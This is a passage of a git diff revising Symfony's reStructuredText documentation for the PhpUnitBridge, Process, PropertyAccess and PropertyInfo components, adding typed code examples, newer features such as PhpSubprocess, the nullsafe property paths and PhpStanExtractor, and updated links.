@@ different class, do it explicitly using ``ClockMock::register(MyClass::class)``: */ class MyTest extends TestCase { - public function testGetTimeInHours() + public function testGetTimeInHours(): void { ClockMock::register(MyClass::class); @@ -648,7 +701,7 @@ associated to a valid host:: class MyTest extends TestCase { - public function testEmail() + public function testEmail(): void { $validator = new DomainValidator(['checkDnsRecord' => true]); $isValid = $validator->validate('example.com'); @@ -657,7 +710,7 @@ associated to a valid host:: } } -In order to avoid making a real network connection, add the ``@dns-sensitive`` +In order to avoid making a real network connection, add the ``@group dns-sensitive`` annotation to the class and use the ``DnsMock::withMockedHosts()`` to configure the data you expect to get for the given hosts:: @@ -670,7 +723,7 @@ the data you expect to get for the given hosts:: */ class DomainValidatorTest extends TestCase { - public function testEmails() + public function testEmails(): void { DnsMock::withMockedHosts([ 'example.com' => [['type' => 'A', 'ip' => '1.2.3.4']], @@ -711,6 +764,7 @@ reason, this component also provides mocks for these PHP functions: * :phpfunction:`class_exists` * :phpfunction:`interface_exists` * :phpfunction:`trait_exists` +* :phpfunction:`enum_exists` Use Case ~~~~~~~~ @@ -740,7 +794,7 @@ are installed during tests) would look like:: class MyClassTest extends TestCase { - public function testHello() + public function testHello(): void { $class = new MyClass(); $result = $class->hello(); // "The dependency behavior." @@ -761,7 +815,7 @@ classes, interfaces and/or traits for the code to run:: { // ... - public function testHelloDefault() + public function testHelloDefault(): void { ClassExistsMock::register(MyClass::class); ClassExistsMock::withMockedClasses([DependencyClass::class => false]); @@ -773,6 +827,16 @@ classes, interfaces and/or traits for the code to run:: } } +Note that mocking a class with ``ClassExistsMock::withMockedClasses()`` +will make :phpfunction:`class_exists`, :phpfunction:`interface_exists` +and :phpfunction:`trait_exists` return true. + +To register an enumeration and mock :phpfunction:`enum_exists`, +``ClassExistsMock::withMockedEnums()`` must be used. Note that, like in +PHP 8.1 and later, calling ``class_exists`` on a enum will return ``true``. +That's why calling ``ClassExistsMock::withMockedEnums()`` will also register the enum +as a mocked class. + Troubleshooting --------------- @@ -789,7 +853,7 @@ namespaces in the ``phpunit.xml`` file, as done for example in the .. code-block:: xml - <!-- http://phpunit.de/manual/4.1/en/appendixes.configuration.html --> + <!-- https://phpunit.de/manual/4.1/en/appendixes.configuration.html --> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/4.1/phpunit.xsd" > @@ -809,10 +873,16 @@ namespaces in the ``phpunit.xml`` file, as done for example in the Under the hood, a PHPUnit listener injects the mocked functions in the tested classes' namespace. In order to work as expected, the listener has to run before -the tested class ever runs. By default, the mocked functions are created when the -annotation are found and the corresponding tests are run. Depending on how your -tests are constructed, this might be too late. In this case, you will need to declare -the namespaces of the tested classes in your ``phpunit.xml.dist``. +the tested class ever runs. + +By default, the mocked functions are created when the annotation are found and +the corresponding tests are run. Depending on how your tests are constructed, +this might be too late. + +You can either: + +* Declare the namespaces of the tested classes in your ``phpunit.xml.dist``; +* Register the namespaces at the end of the ``config/bootstrap.php`` file. .. code-block:: xml @@ -828,6 +898,16 @@ the namespaces of the tested classes in your ``phpunit.xml.dist``. </listener> </listeners> +:: + + // config/bootstrap.php + use Symfony\Bridge\PhpUnit\ClockMock; + + // ... + if ('test' === $_SERVER['APP_ENV']) { + ClockMock::register('Acme\\MyClassTest\\'); + } + Modified PHPUnit script ----------------------- @@ -848,18 +928,6 @@ configured by the ``SYMFONY_PHPUNIT_DIR`` env var, or in the same directory as the ``simple-phpunit`` if it is not provided. It's also possible to set this env var in the ``phpunit.xml.dist`` file. -By default, these are the PHPUnit versions used depending on the installed PHP versions: - -===================== =============================== -Installed PHP version PHPUnit version used by default -===================== =============================== -PHP <= 5.5 PHPUnit 4.8 -PHP 5.6 PHPUnit 5.7 -PHP 7.0 PHPUnit 6.5 -PHP 7.1 PHPUnit 7.5 -PHP >= 7.2 PHPUnit 8.3 -===================== =============================== - If you have installed the bridge through Composer, you can run it by calling e.g.: .. code-block:: terminal @@ -868,7 +936,7 @@ If you have installed the bridge through Composer, you can run it by calling e.g .. tip:: - It's possible to change the base version of PHPUnit by setting the + It's possible to change the PHPUnit version by setting the ``SYMFONY_PHPUNIT_VERSION`` env var in the ``phpunit.xml.dist`` file (e.g. ``<server name="SYMFONY_PHPUNIT_VERSION" value="5.5"/>``). This is the preferred method as it can be committed to your version control repository. @@ -880,11 +948,6 @@ If you have installed the bridge through Composer, you can run it by calling e.g of PHPUnit to be considered. This is useful when testing a framework that does not support the latest version(s) of PHPUnit. -.. versionadded:: 5.2 - - The ``SYMFONY_MAX_PHPUNIT_VERSION`` env variable was introduced in - Symfony 5.2. - .. tip:: If you still need to use ``prophecy`` (but not ``symfony/yaml``), @@ -892,6 +955,22 @@ If you have installed the bridge through Composer, you can run it by calling e.g It's also possible to set this env var in the ``phpunit.xml.dist`` file. +.. tip:: + + It is also possible to require additional packages that will be installed along + with the rest of the needed PHPUnit packages using the ``SYMFONY_PHPUNIT_REQUIRE`` + env variable. This is specially useful for installing PHPUnit plugins without + having to add them to your main ``composer.json`` file. The required packages + need to be separated with a space. + + .. code-block:: xml + + <!-- phpunit.xml.dist --> + <!-- ... --> + <php> + <env name="SYMFONY_PHPUNIT_REQUIRE" value="vendor/name:^1.2 vendor/name2:^3"/> + </php> + Code Coverage Listener ---------------------- @@ -904,7 +983,7 @@ Consider the following example:: class Bar { - public function barMethod() + public function barMethod(): string { return 'bar'; } @@ -912,14 +991,12 @@ Consider the following example:: class Foo { - private $bar; - - public function __construct(Bar $bar) - { - $this->bar = $bar; + public function __construct( + private Bar $bar, + ) { } - public function fooMethod() + public function fooMethod(): string { $this->bar->barMethod(); @@ -929,7 +1006,7 @@ Consider the following example:: class FooTest extends PHPUnit\Framework\TestCase { - public function test() + public function test(): void { $bar = new Bar(); $foo = new Foo($bar); @@ -955,7 +1032,7 @@ Add the following configuration to the ``phpunit.xml.dist`` file: .. code-block:: xml - <!-- http://phpunit.de/manual/6.0/en/appendixes.configuration.html --> + <!-- https://phpunit.de/manual/6.0/en/appendixes.configuration.html --> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/6.0/phpunit.xsd" > @@ -998,13 +1075,13 @@ not find the SUT: </listeners> .. _`PHPUnit`: https://phpunit.de -.. _`PHPUnit event listener`: https://phpunit.de/manual/current/en/extending-phpunit.html#extending-phpunit.PHPUnit_Framework_TestListener +.. _`PHPUnit event listener`: https://docs.phpunit.de/en/10.0/extending-phpunit.html#phpunit-s-event-system .. _`ErrorHandler component`: https://github.com/symfony/error-handler -.. _`PHPUnit's assertStringMatchesFormat()`: https://phpunit.de/manual/current/en/appendixes.assertions.html#appendixes.assertions.assertStringMatchesFormat +.. _`PHPUnit's assertStringMatchesFormat()`: https://docs.phpunit.de/en/9.6/assertions.html#assertstringmatchesformat .. _`PHP error handler`: https://www.php.net/manual/en/book.errorfunc.php -.. _`environment variable`: https://phpunit.de/manual/current/en/appendixes.configuration.html#appendixes.configuration.php-ini-constants-variables +.. _`environment variable`: https://docs.phpunit.de/en/9.6/configuration.html#the-env-element .. _`@-silencing operator`: https://www.php.net/manual/en/language.operators.errorcontrol.php .. _`Travis CI`: https://travis-ci.org/ -.. _`test listener`: https://phpunit.de/manual/current/en/appendixes.configuration.html#appendixes.configuration.test-listeners -.. _`@covers`: https://phpunit.de/manual/current/en/appendixes.annotations.html#appendixes.annotations.covers +.. _`test listener`: https://docs.phpunit.de/en/9.6/configuration.html#the-extensions-element +.. _`@covers`: https://docs.phpunit.de/en/9.6/annotations.html#covers .. _`PHP namespace resolutions rules`: https://www.php.net/manual/en/language.namespaces.rules.php diff --git a/components/process.rst b/components/process.rst index 8664ddead85..9c25c931510 100644 --- a/components/process.rst +++ b/components/process.rst @@ -1,7 +1,3 @@ -.. index:: - single: Process - single: Components; Process - The Process Component ===================== @@ -14,7 +10,6 @@ Installation $ composer require symfony/process - .. include:: /components/require_autoload.rst.inc Usage @@ -105,10 +100,6 @@ with a non-zero code):: Configuring Process Options --------------------------- -.. versionadded:: 5.2 - - The feature to configure process options was introduced in Symfony 5.2. - Symfony uses the PHP :phpfunction:`proc_open` function to run the processes. You can configure the options passed to the ``other_options`` argument of ``proc_open()`` using the ``setOptions()`` method:: @@ -117,10 +108,18 @@ You can configure the options passed to the ``other_options`` argument of // this option allows a subprocess to continue running after the main script exited $process->setOptions(['create_new_console' => true]); +.. warning:: + + Most of the options defined by ``proc_open()`` (such as ``create_new_console`` + and ``suppress_errors``) are only supported on Windows operating systems. + Check out the `PHP documentation for proc_open()`_ before using them. + +.. _process-using-features-from-the-os-shell: + Using Features From the OS Shell -------------------------------- -Using array of arguments is the recommended way to define commands. This +Using an array of arguments is the recommended way to define commands. This saves you from any escaping and allows sending signals seamlessly (e.g. to stop processes while they run):: @@ -192,7 +191,7 @@ anonymous function to the use Symfony\Component\Process\Process; $process = new Process(['ls', '-lsa']); - $process->run(function ($type, $buffer) { + $process->run(function ($type, $buffer): void { if (Process::ERR === $type) { echo 'ERR > '.$buffer; } else { @@ -255,7 +254,7 @@ are done doing other stuff:: **synchronously** inside this event. Be aware that ``kernel.terminate`` is called only if you use PHP-FPM. -.. caution:: +.. danger:: Beware also that if you do that, the said PHP-FPM process will not be available to serve any new request until the subprocess is finished. This @@ -270,7 +269,7 @@ in the output and its type:: $process = new Process(['ls', '-lsa']); $process->start(); - $process->wait(function ($type, $buffer) { + $process->wait(function ($type, $buffer): void { if (Process::ERR === $type) { echo 'ERR > '.$buffer; } else { @@ -289,7 +288,7 @@ process and checks its output to wait until its fully initialized:: // ... do other things // waits until the given anonymous function returns true - $process->waitUntil(function ($type, $output) { + $process->waitUntil(function ($type, $output): bool { return $output === 'Ready. Waiting for commands...'; }); @@ -331,7 +330,7 @@ provides the :class:`Symfony\\Component\\Process\\InputStream` class:: echo $process->getOutput(); The :method:`Symfony\\Component\\Process\\InputStream::write` method accepts scalars, -stream resources or ``Traversable`` objects as argument. As shown in the above example, +stream resources or ``Traversable`` objects as arguments. As shown in the above example, you need to explicitly call the :method:`Symfony\\Component\\Process\\InputStream::close` method when you are done writing to the standard input of the subprocess. @@ -358,6 +357,35 @@ The input of a process can also be defined using `PHP streams`_:: // will echo: 'foobar' echo $process->getOutput(); +Using TTY and PTY Modes +----------------------- + +All examples above show that your program has control over the input of a +process (using ``setInput()``) and the output from that process (using +``getOutput()``). The Process component has two special modes that tweak +the relationship between your program and the process: teletype (tty) and +pseudo-teletype (pty). + +In TTY mode, you connect the input and output of the process to the input +and output of your program. This allows for instance to open an editor like +Vim or Nano as a process. You enable TTY mode by calling +:method:`Symfony\\Component\\Process\\Process::setTty`:: + + $process = new Process(['vim']); + $process->setTty(true); + $process->run(); + + // As the output is connected to the terminal, it is no longer possible + // to read or modify the output from the process! + dump($process->getOutput()); // null + +In PTY mode, your program behaves as a terminal for the process instead of +a plain input and output. Some programs behave differently when +interacting with a real terminal instead of another program. For instance, +some programs prompt for a password when talking with a terminal. Use +:method:`Symfony\\Component\\Process\\Process::setPty` to enable this +mode. + Stopping a Process ------------------ @@ -389,21 +417,40 @@ instead:: ); $process->run(); -Using a Prepared Command Line ------------------------------ +Executing a PHP Child Process with the Same Configuration +--------------------------------------------------------- -You can run a process by using a prepared command line with double quote -variable notation. This allows you to use placeholders so that only the -parameterized values can be changed, but not the rest of the script: +When you start a PHP process, it uses the default configuration defined in +your ``php.ini`` file. You can bypass these options with the ``-d`` command line +option. For example, if ``memory_limit`` is set to ``256M``, you can disable this +memory limit when running some command like this: +``php -d memory_limit=-1 bin/console app:my-command``. - use Symfony\Component\Process\Process; - - $process = Process::fromShellCommandline('echo "$name"'); - $process->run(null, ['name' => 'Elsa']); +However, if you run the command via the Symfony ``Process`` class, PHP will use +the settings defined in the ``php.ini`` file. You can solve this issue by using +the :class:`Symfony\\Component\\Process\\PhpSubprocess` class to run the command:: -.. caution:: + use Symfony\Component\Console\Attribute\AsCommand; + use Symfony\Component\Console\Style\SymfonyStyle; + use Symfony\Component\Process\Process; - A prepared command line will not be escaped automatically! + #[AsCommand(name: 'app:my-command')] + class MyCommand + { + public function __invoke(SymfonyStyle $io): int + { + // the memory_limit (and any other config option) of this command is + // the one defined in php.ini instead of the new values (optionally) + // passed via the '-d' command option + $childProcess = new Process(['bin/console', 'cache:pool:prune']); + + // the memory_limit (and any other config option) of this command takes + // into account the values (optionally) passed via the '-d' command option + $childProcess = new PhpSubprocess(['bin/console', 'cache:pool:prune']); + + return 0; + } + } Process Timeout --------------- @@ -439,10 +486,6 @@ check regularly:: You can get the process start time using the ``getStartTime()`` method. - .. versionadded:: 5.1 - - The ``getStartTime()`` method was introduced in Symfony 5.1. - .. _reference-process-signal: Process Idle Timeout @@ -475,6 +518,20 @@ When running a program asynchronously, you can send it POSIX signals with the // will send a SIGKILL to the process $process->signal(SIGKILL); +You can make the process ignore signals by using the +:method:`Symfony\\Component\\Process\\Process::setIgnoredSignals` +method. The given signals won't be propagated to the child process:: + + use Symfony\Component\Process\Process; + + $process = new Process(['find', '/', '-name', 'rabbit']); + $process->setIgnoredSignals([SIGKILL, SIGUSR1]); + +.. versionadded:: 7.1 + + The :method:`Symfony\\Component\\Process\\Process::setIgnoredSignals` + method was introduced in Symfony 7.1. + Process Pid ----------- @@ -502,7 +559,7 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and $process->disableOutput(); $process->run(); -.. caution:: +.. warning:: You cannot enable or disable the output while the process is running. @@ -513,10 +570,31 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and However, it is possible to pass a callback to the ``start``, ``run`` or ``mustRun`` methods to handle process output in a streaming fashion. +Finding an Executable +--------------------- + +The Process component provides a utility class called +:class:`Symfony\\Component\\Process\\ExecutableFinder` which finds +and returns the absolute path of an executable:: + + use Symfony\Component\Process\ExecutableFinder; + + $executableFinder = new ExecutableFinder(); + $chromedriverPath = $executableFinder->find('chromedriver'); + // $chromedriverPath = '/usr/local/bin/chromedriver' (the result will be different on your computer) + +The :method:`Symfony\\Component\\Process\\ExecutableFinder::find` method also takes extra parameters to specify a default value +to return and extra directories where to look for the executable:: + + use Symfony\Component\Process\ExecutableFinder; + + $executableFinder = new ExecutableFinder(); + $chromedriverPath = $executableFinder->find('chromedriver', '/path/to/chromedriver', ['local-bin/']); + Finding the Executable PHP Binary --------------------------------- -This component also provides a utility class called +This component also provides a special utility class called :class:`Symfony\\Component\\Process\\PhpExecutableFinder` which returns the absolute path of the executable PHP binary available on your server:: @@ -541,3 +619,4 @@ whether `TTY`_ is supported on the current operating system:: .. _`PHP streams`: https://www.php.net/manual/en/book.stream.php .. _`output_buffering`: https://www.php.net/manual/en/outcontrol.configuration.php .. _`TTY`: https://en.wikipedia.org/wiki/Tty_(unix) +.. _`PHP documentation for proc_open()`: https://www.php.net/manual/en/function.proc-open.php diff --git a/components/property_access.rst b/components/property_access.rst index c99091c4e15..f608640fa9b 100644 --- a/components/property_access.rst +++ b/components/property_access.rst @@ -1,11 +1,7 @@ -.. index:: - single: PropertyAccess - single: Components; PropertyAccess - The PropertyAccess Component ============================ - The PropertyAccess component provides function to read and write from/to an + The PropertyAccess component provides functions to read and write from/to an object or array using a simple string notation. Installation @@ -30,6 +26,8 @@ default configuration:: $propertyAccessor = PropertyAccess::createPropertyAccessor(); +.. _property-access-reading-arrays: + Reading from Arrays ------------------- @@ -63,6 +61,9 @@ method:: // Symfony\Component\PropertyAccess\Exception\NoSuchIndexException $value = $propertyAccessor->getValue($person, '[age]'); + // You can avoid the exception by adding the nullsafe operator + $value = $propertyAccessor->getValue($person, '[age?]'); + You can also use multi dimensional arrays:: // ... @@ -72,12 +73,24 @@ You can also use multi dimensional arrays:: ], [ 'first_name' => 'Ryan', - ] + ], ]; var_dump($propertyAccessor->getValue($persons, '[0][first_name]')); // 'Wouter' var_dump($propertyAccessor->getValue($persons, '[1][first_name]')); // 'Ryan' +.. tip:: + + If the key of the array contains a dot ``.`` or a left square bracket ``[``, + you must escape those characters with a backslash. In the above example, + if the array key was ``first.name`` instead of ``first_name``, you should + access its value as follows:: + + var_dump($propertyAccessor->getValue($persons, '[0][first\.name]')); // 'Wouter' + var_dump($propertyAccessor->getValue($persons, '[1][first\.name]')); // 'Ryan' + + Right square brackets ``]`` don't need to be escaped in array keys. + Reading from Objects -------------------- @@ -101,7 +114,7 @@ To read from properties, use the "dot" notation:: var_dump($propertyAccessor->getValue($person, 'children[0].firstName')); // 'Bar' -.. caution:: +.. warning:: Accessing public properties is the last option used by ``PropertyAccessor``. It tries to access the value using the below methods first before using @@ -119,9 +132,9 @@ it with ``get``. So the actual method becomes ``getFirstName()``:: // ... class Person { - private $firstName = 'Wouter'; + private string $firstName = 'Wouter'; - public function getFirstName() + public function getFirstName(): string { return $this->firstName; } @@ -141,15 +154,15 @@ getters, this means that you can do something like this:: // ... class Person { - private $author = true; - private $children = []; + private bool $author = true; + private array $children = []; - public function isAuthor() + public function isAuthor(): bool { return $this->author; } - public function hasChildren() + public function hasChildren(): bool { return 0 !== count($this->children); } @@ -178,7 +191,7 @@ method:: // ... class Person { - public $name; + public string $name; } $person = new Person(); @@ -190,6 +203,35 @@ method:: // instead of throwing an exception the following code returns null $value = $propertyAccessor->getValue($person, 'birthday'); +Accessing Nullable Property Paths +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Consider the following PHP code:: + + class Person + { + } + + class Comment + { + public ?Person $person = null; + public string $message; + } + + $comment = new Comment(); + $comment->message = 'test'; + +Given that ``$person`` is nullable, an object graph like ``comment.person.profile`` +will trigger an exception when the ``$person`` property is ``null``. The solution +is to mark all nullable properties with the nullsafe operator (``?``):: + + // This code throws an exception of type + // Symfony\Component\PropertyAccess\Exception\UnexpectedTypeException + var_dump($propertyAccessor->getValue($comment, 'person.firstname')); + + // If a property marked with the nullsafe operator is null, the expression is + // no longer evaluated and null is returned immediately without throwing an exception + var_dump($propertyAccessor->getValue($comment, 'person?.firstname')); // null .. _components-property-access-magic-get: @@ -201,47 +243,50 @@ The ``getValue()`` method can also use the magic ``__get()`` method:: // ... class Person { - private $children = [ + private array $children = [ 'Wouter' => [...], ]; - public function __get($id) + public function __get($id): mixed { return $this->children[$id]; } + + public function __isset($id): bool + { + return isset($this->children[$id]); + } } $person = new Person(); var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...] -.. versionadded:: 5.2 +.. warning:: - The magic ``__get()`` method can be disabled since in Symfony 5.2. - see `Enable other Features`_. + When implementing the magic ``__get()`` method, you also need to implement + ``__isset()``. .. _components-property-access-magic-call: Magic ``__call()`` Method ~~~~~~~~~~~~~~~~~~~~~~~~~ -At last, ``getValue()`` can use the magic ``__call()`` method, but you need to +Lastly, ``getValue()`` can use the magic ``__call()`` method, but you need to enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder`:: // ... class Person { - private $children = [ + private array $children = [ 'wouter' => [...], ]; - public function __call($name, $args) + public function __call($name, $args): mixed { $property = lcfirst(substr($name, 3)); if ('get' === substr($name, 0, 3)) { - return isset($this->children[$property]) - ? $this->children[$property] - : null; + return $this->children[$property] ?? null; } elseif ('set' === substr($name, 0, 3)) { $value = 1 == count($args) ? $args[0] : null; $this->children[$property] = $value; @@ -258,7 +303,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert var_dump($propertyAccessor->getValue($person, 'wouter')); // [...] -.. caution:: +.. warning:: The ``__call()`` feature is disabled by default, you can enable it by calling :method:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder::enableMagicCall` @@ -291,26 +336,26 @@ can use setters, the magic ``__set()`` method or properties to set values:: // ... class Person { - public $firstName; - private $lastName; - private $children = []; + public string $firstName; + private string $lastName; + private array $children = []; - public function setLastName($name) + public function setLastName($name): void { $this->lastName = $name; } - public function getLastName() + public function getLastName(): string { return $this->lastName; } - public function getChildren() + public function getChildren(): array { return $this->children; } - public function __set($property, $value) + public function __set($property, $value): void { $this->$property = $value; } @@ -332,15 +377,13 @@ see `Enable other Features`_:: // ... class Person { - private $children = []; + private array $children = []; - public function __call($name, $args) + public function __call($name, $args): mixed { $property = lcfirst(substr($name, 3)); if ('get' === substr($name, 0, 3)) { - return isset($this->children[$property]) - ? $this->children[$property] - : null; + return $this->children[$property] ?? null; } elseif ('set' === substr($name, 0, 3)) { $value = 1 == count($args) ? $args[0] : null; $this->children[$property] = $value; @@ -360,10 +403,10 @@ see `Enable other Features`_:: var_dump($person->getWouter()); // [...] -.. versionadded:: 5.2 +.. note:: - The magic ``__set()`` method can be disabled since in Symfony 5.2. - see `Enable other Features`_. + The ``__set()`` method support is enabled by default. + See `Enable other Features`_ if you want to disable it. Writing to Array Properties ~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -377,7 +420,7 @@ properties through *adder* and *remover* methods:: /** * @var string[] */ - private $children = []; + private array $children = []; public function getChildren(): array { @@ -403,11 +446,51 @@ properties through *adder* and *remover* methods:: The PropertyAccess component checks for methods called ``add<SingularOfThePropertyName>()`` and ``remove<SingularOfThePropertyName>()``. Both methods must be defined. For instance, in the previous example, the component looks for the ``addChild()`` -and ``removeChild()`` methods to access to the ``children`` property. -`The Inflector component`_ is used to find the singular of a property name. +and ``removeChild()`` methods to access the ``children`` property. +`The String component`_ inflector is used to find the singular of a property name. If available, *adder* and *remover* methods have priority over a *setter* method. +Using non-standard adder/remover methods +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`` prefix, like in this example:: + + // ... + class Team + { + // ... + + public function joinTeam(string $person): void + { + $this->team[] = $person; + } + + public function leaveTeam(string $person): void + { + foreach ($this->team as $id => $item) { + if ($person === $item) { + unset($this->team[$id]); + + break; + } + } + } + } + + use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor; + use Symfony\Component\PropertyAccess\PropertyAccessor; + + $list = new Team(); + $reflectionExtractor = new ReflectionExtractor(null, null, ['join', 'leave']); + $propertyAccessor = new PropertyAccessor(PropertyAccessor::DISALLOW_MAGIC_METHODS, PropertyAccessor::THROW_ON_INVALID_PROPERTY_PATH, null, $reflectionExtractor, $reflectionExtractor); + $propertyAccessor->setValue($person, 'team', ['kevin', 'wouter']); + + var_dump($person->getTeam()); // ['kevin', 'wouter'] + +Instead of calling ``add<SingularOfThePropertyName>()`` and ``remove<SingularOfThePropertyName>()``, the PropertyAccess +component will call ``join<SingularOfThePropertyName>()`` and ``leave<SingularOfThePropertyName>()`` methods. + Checking Property Paths ----------------------- @@ -440,15 +523,15 @@ You can also mix objects and arrays:: // ... class Person { - public $firstName; - private $children = []; + public string $firstName; + private array $children = []; - public function setChildren($children) + public function setChildren($children): void { $this->children = $children; } - public function getChildren() + public function getChildren(): array { return $this->children; } @@ -480,10 +563,10 @@ configured to enable extra features. To do that you could use the $propertyAccessorBuilder->enableMagicSet(); // enables magic __set $propertyAccessorBuilder->enableMagicMethods(); // enables magic __get, __set and __call - $propertyAccessorBuilder->disableMagicCall(); // enables magic __call - $propertyAccessorBuilder->disableMagicGet(); // enables magic __get - $propertyAccessorBuilder->disableMagicSet(); // enables magic __set - $propertyAccessorBuilder->disableMagicMethods(); // enables magic __get, __set and __call + $propertyAccessorBuilder->disableMagicCall(); // disables magic __call + $propertyAccessorBuilder->disableMagicGet(); // disables magic __get + $propertyAccessorBuilder->disableMagicSet(); // disables magic __set + $propertyAccessorBuilder->disableMagicMethods(); // disables magic __get, __set and __call // checks if magic __call, __get or __set handling are enabled $propertyAccessorBuilder->isMagicCallEnabled(); // true or false @@ -503,4 +586,4 @@ Or you can pass parameters directly to the constructor (not the recommended way) // enable handling of magic __call, __set but not __get: $propertyAccessor = new PropertyAccessor(PropertyAccessor::MAGIC_CALL | PropertyAccessor::MAGIC_SET); -.. _The Inflector component: https://github.com/symfony/inflector +.. _`The String component`: https://github.com/symfony/string diff --git a/components/property_info.rst b/components/property_info.rst index d67034b04fa..865a36c5941 100644 --- a/components/property_info.rst +++ b/components/property_info.rst @@ -1,7 +1,3 @@ -.. index:: - single: PropertyInfo - single: Components; PropertyInfo - The PropertyInfo Component ========================== @@ -122,7 +118,7 @@ class exposes public methods to extract several types of information: * :ref:`List of properties <property-info-list>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyListExtractorInterface::getProperties` * :ref:`Property type <property-info-type>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface::getTypes` - (including typed properties since PHP 7.4) + (including typed properties) * :ref:`Property description <property-info-description>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getShortDescription` and :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getLongDescription` * :ref:`Property access details <property-info-access>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isReadable` and :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isWritable` * :ref:`Property initializable through the constructor <property-info-initializable>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyInitializableExtractorInterface::isInitializable` @@ -135,7 +131,7 @@ class exposes public methods to extract several types of information: $propertyInfo->getProperties($awesomeObject); // Good! - $propertyInfo->getProperties(get_class($awesomeObject)); + $propertyInfo->getProperties($awesomeObject::class); $propertyInfo->getProperties('Example\Namespace\YourAwesomeClass'); $propertyInfo->getProperties(YourAwesomeClass::class); @@ -187,6 +183,26 @@ for a property:: See :ref:`components-property-info-type` for info about the ``Type`` class. +Documentation Block +~~~~~~~~~~~~~~~~~~~ + +Extractors that implement :class:`Symfony\\Component\\PropertyInfo\\PropertyDocBlockExtractorInterface` +can provide the full documentation block for a property as a string:: + + $docBlock = $propertyInfo->getDocBlock($class, $property); + /* + Example Result + -------------- + string(79): + This is the subsequent paragraph in the DocComment. + It can span multiple lines. + */ + +.. versionadded:: 7.1 + + The :class:`Symfony\\Component\\PropertyInfo\\PropertyDocBlockExtractorInterface` + interface was introduced in Symfony 7.1. + .. _property-info-description: Description Information @@ -208,7 +224,7 @@ strings:: Example Result -------------- string(79): - These is the subsequent paragraph in the DocComment. + This is the subsequent paragraph in the DocComment. It can span multiple lines. */ @@ -229,7 +245,9 @@ provide whether properties are readable or writable as booleans:: The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ReflectionExtractor` looks for getter/isser/setter/hasser method in addition to whether or not a property is public to determine if it's accessible. This based on how the :doc:`PropertyAccess </components/property_access>` -works. +works. It assumes camel case style method names following `PSR-1`_. For example, +both ``myProperty`` and ``my_property`` properties are readable if there's a +``getMyProperty()`` method and writable if there's a ``setMyProperty()`` method. .. _property-info-initializable: @@ -323,15 +341,20 @@ this returns ``true`` if: ``@var SomeClass<DateTime>``, ``@var SomeClass<integer,string>``, ``@var Doctrine\Common\Collections\Collection<App\Entity\SomeEntity>``, etc.) -``Type::getCollectionKeyType()`` & ``Type::getCollectionValueType()`` -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +``Type::getCollectionKeyTypes()`` & ``Type::getCollectionValueTypes()`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ If the property is a collection, additional type objects may be returned for both the key and value types of the collection (if the information is -available), via the :method:`Type::getCollectionKeyType() <Symfony\\Component\\PropertyInfo\\Type::getCollectionKeyType>` -and :method:`Type::getCollectionValueType() <Symfony\\Component\\PropertyInfo\\Type::getCollectionValueType>` +available), via the :method:`Type::getCollectionKeyTypes() <Symfony\\Component\\PropertyInfo\\Type::getCollectionKeyTypes>` +and :method:`Type::getCollectionValueTypes() <Symfony\\Component\\PropertyInfo\\Type::getCollectionValueTypes>` methods. +.. note:: + + The ``list`` pseudo type is returned by the PropertyInfo component as an + array with integer as the key type. + .. _`components-property-info-extractors`: Extractors @@ -357,7 +380,7 @@ Using PHP reflection, the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\R provides list, type and access information from setter and accessor methods. It can also give the type of a property (even extracting it from the constructor arguments), and if it is initializable through the constructor. It supports -return and scalar types for PHP 7:: +return and scalar types:: use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor; @@ -410,6 +433,54 @@ library is present:: // Description information. $phpDocExtractor->getShortDescription($class, $property); $phpDocExtractor->getLongDescription($class, $property); + $phpDocExtractor->getDocBlock($class, $property); + +.. versionadded:: 7.1 + + The :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpDocExtractor::getDocBlock` + method was introduced in Symfony 7.1. + +PhpStanExtractor +~~~~~~~~~~~~~~~~ + +.. note:: + + This extractor depends on the `phpstan/phpdoc-parser`_ and + `phpdocumentor/reflection-docblock`_ libraries. + +This extractor fetches information thanks to the PHPStan parser. It gathers +information from annotations of properties and methods, such as ``@var``, +``@param`` or ``@return``:: + + // src/Domain/Foo.php + class Foo + { + /** + * @param string $bar + */ + public function __construct( + private string $bar, + ) { + } + } + + // Extraction.php + use Symfony\Component\PropertyInfo\Extractor\PhpStanExtractor; + use App\Domain\Foo; + + $phpStanExtractor = new PhpStanExtractor(); + + // Type information. + $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar'); + // Description information. + $phpStanExtractor->getShortDescription($class, 'bar'); + $phpStanExtractor->getLongDescription($class, 'bar'); + +.. versionadded:: 7.3 + + The :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor::getShortDescription` + and :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor::getLongDescription` + methods were introduced in Symfony 7.3. SerializerExtractor ~~~~~~~~~~~~~~~~~~~ @@ -418,24 